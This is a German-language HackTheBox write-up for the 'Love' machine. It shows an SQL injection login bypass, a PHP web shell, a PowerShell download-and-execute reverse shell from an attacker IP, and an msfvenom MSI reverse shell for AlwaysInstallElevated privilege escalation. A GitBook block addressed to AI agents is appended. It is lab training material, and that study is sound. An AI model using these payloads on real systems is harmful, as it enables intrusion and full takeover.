> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Love HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SQL-Injection (SQLI)
* Serverseitige Anfragefälschung (SSRF)
* Missbrauch von Datei-Uploads
* Ausnutzen des Voting Systems
* Ausnutzen von AlwaysInstallElevated (msiexec/MSI-Datei)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/d62432b42373c16f0db536e2b2662399ee8380fe" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/c25706526de109f2a7cc6e427abb4cf1f1b77b74" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:** Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="/files/e9522c89d20668f41330fb8034c9c6ed5ddf7a2b" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:** Verwendung der Funktion extractport, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/c5683f25954898d6ab75e8bdb2f105d25c06f267" alt=""><figcaption></figcaption></figure>

**Versionsscan der Ports mit Nmap:** Mit Nmap einen Versionsscan der Ports durchführen und Informationen in der Datei "targeted" speichern:

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="/files/56fd9aa3e7e861a9fe56c6807eb2096e9c1ce76d" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/7cc3fa3e8ddc5f575aa9c33d0ec1c8aefcbf680a" alt=""><figcaption></figcaption></figure></div>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei

<figure><img src="/files/fa54d402d98605f338ce2d00c88f5b7f30f8f76f" alt="" width="563"><figcaption></figcaption></figure>

**Suche nach Verzeichnissen:**

Wir verwenden Gobuster, um auf der Website nach Verzeichnissen zu suchen:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/991adff90915a7a3f6d12ed365709035bd1d06e3" alt=""><figcaption></figcaption></figure>

In dem `admin` Im Verzeichnis entdecken wir ein Verwaltungs-Panel.

<figure><img src="/files/e63c6fd4d4e87bdbc03c9cd9ba6af692648f3085" alt=""><figcaption></figcaption></figure>

## Ausnutzung des Voting Systems:

In diesem Fall gibt es zwei Möglichkeiten, mit dem Verwaltungs-Panel des Voting Systems zu arbeiten:

### 1. Schwachstelle SSRF:

Port 443 zeigt eine `staging.love.htb` Subdomain, die wir zu unserem `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/872969a6c9e0469c508fa070946c0f381276390a" alt="" width="563"><figcaption></figcaption></figure>

Diese Website kann andere Websites über eine URL scannen.

<figure><img src="/files/c032593e813589df8ba5a4f1835e2c0b483a7916" alt=""><figcaption></figcaption></figure>

Durch das Scannen von `localhost:5000` (von außen nicht erreichbar), entdecken wir Zugangsdaten:

`admin: @LoveIsInTheAir!!!!`

<figure><img src="/files/fc9918a6d45111ea3af67bc689760c9dc0898263" alt=""><figcaption></figcaption></figure>

Hinweis: Von außen wird die Meldung „You don't have permission to access this resource.“ angezeigt, wodurch der Zugriff blockiert wird.

<figure><img src="/files/97ce5b5df6071241251a942bc55be9e8733aca42" alt="" width="563"><figcaption></figcaption></figure>

### **2. Schwachstelle SQL-Injection (**[**SQLi**](/de/web/sql-injection.md)**) :**

Mit `searchsploit` wir suchen nach spezifischen Schwachstellen des Voting Systems und finden das folgende Payload:

<figure><img src="/files/02052c274b3881cc1a8f736786b0613dc9c30e05" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/dd8f52d165e46fd9ed747b194d4d0d81a96f33bb" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Mit Burp Suite greifen wir auf das Dashboard zu.

<figure><img src="/files/154d9acf5c2f998d4f1e4661cfecbee82b2b9540" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0b0ab485e35335898c510fad126930c93805628c" alt=""><figcaption></figcaption></figure>

## Datei-Upload-Schwachstelle:

Im Dashboard gibt es eine Option zum Erstellen eines neuen Benutzers. Wir erstellen eine `cmd.php` Datei, um Befehle auf dem Server auszuführen:

<figure><img src="/files/45385cc341feffb68f55c21602a5504ed427fd4c" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/e56a5acfa728fdbe3c206c9b71cd1769a2c52aad" alt="" width="482"><figcaption></figcaption></figure>

Das Panel führt keine Sicherheitsprüfungen durch, sodass wir Befehle einschleusen können (z. B. `whoami`). Durch das Testen eines Ping-Befehls prüfen wir die Verbindung:

<figure><img src="/files/8fa021292965d29e73f102724a66766f176987b2" alt=""><figcaption></figcaption></figure>

wir prüfen, ob es einen Ping ausführen kann

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Da wir eine Antwort erhalten, bestätigen wir die Möglichkeit, Befehle auf dem Zielsystem auszuführen

<figure><img src="/files/f74d9192ddfe5740400caea8d81c02af43eef343" alt="" width="563"><figcaption></figcaption></figure>

**PowerShell-Befehl für eine Reverse Shell**

Sobald wir sehen, dass wir Befehle ausführen können, werden wir das `PS.ps1` Skript auf unseren Rechner herunterladen.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Am Ende des Skripts fügen wir die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/2cac297bfc3ef4f142da2a6dd72cf136d13e9827" alt=""><figcaption></figcaption></figure>

Wir werden mit dem `PS.ps1` Skript

```bash
python3 -m http.server 80
```

Dann werden wir den Befehl so ändern, dass er auf unseren Webserver verweist:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Schließlich lauschen wir auf Port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/d34f5dcd6a64f61add371f75a3eb1a6d27b56604" alt=""><figcaption></figcaption></figure></div>

### Flagge user.txt:

<figure><img src="/files/c699c0e473559b2565cb941f0f4c26f80817578d" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

### **Enumeration mit winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

Um eine Rechteausweitung auf einem Windows-Server durchzuführen, führen Sie zuerst das `winPEAS` Aufklärungstool aus.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

Herunterladen des Aufklärungstools WIN-PEASx64.exe.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="/files/554534eb9f73445015091855cdf2c133dd298b01" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="/files/b914cf690305fc37760b3d5b12fb66d81fba5dd1" alt=""><figcaption></figcaption></figure>

### AlwaysInstallElevated prüfen

Das `winPEAS` Das Tool prüft verschiedene Sicherheitseinstellungen des Systems. Uns interessiert insbesondere der `AlwaysInstallElevated` Registrierungsschlüssel. Wenn dieser Schlüssel auf `1` in `HKLM` (HKEY/LOCAL/MACHINE), bedeutet das, dass alle `.msi` Dateien mit hohen Rechten installiert werden können, was eine Schwachstelle darstellt.

<figure><img src="/files/70581c566a06bff911d3d2402ca10e2e3fa7e319" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**Erstellen Sie eine MSI-Datei, um eine Reverse Shell zu erhalten**

Um diese Schwachstelle auszunutzen, erstellen wir eine `.msi` Datei, die uns nach der Ausführung eine Reverse Shell liefert. Wir verwenden `msfvenom` zum Generieren dieser Datei:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**Übertragung von .msi**/ Datei Nachdem wir die Datei erstellt haben, müssen wir sie auf die Zielmaschine übertragen:

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="/files/52f0f9749da9f29e9fc3e8a11e396c74a63df10d" alt=""><figcaption></figcaption></figure>

**Auf Port 443 lauschen**/ Bevor wir die `.msi` Datei ausführen, müssen wir auf dem angegebenen Port lauschen. Verwenden wir `nc` dafür (netcat):

```powershell
rlwrap nc -nlvp 443
```

**Ausführung des Installationsbefehls**/ Schließlich führen wir die `.msi` Datei mit `msiexec`, wodurch die stille Installation ausgelöst wird:

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="/files/c231a9c74fb8e7fa2575f80ad1aee8a39f7a5c78" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="/files/a6d1ce64081a17ae4d285bebdc63b52d1c1c6e44" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/333ceecc0035d87a0ec828fedb4932dbf0071fc1" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
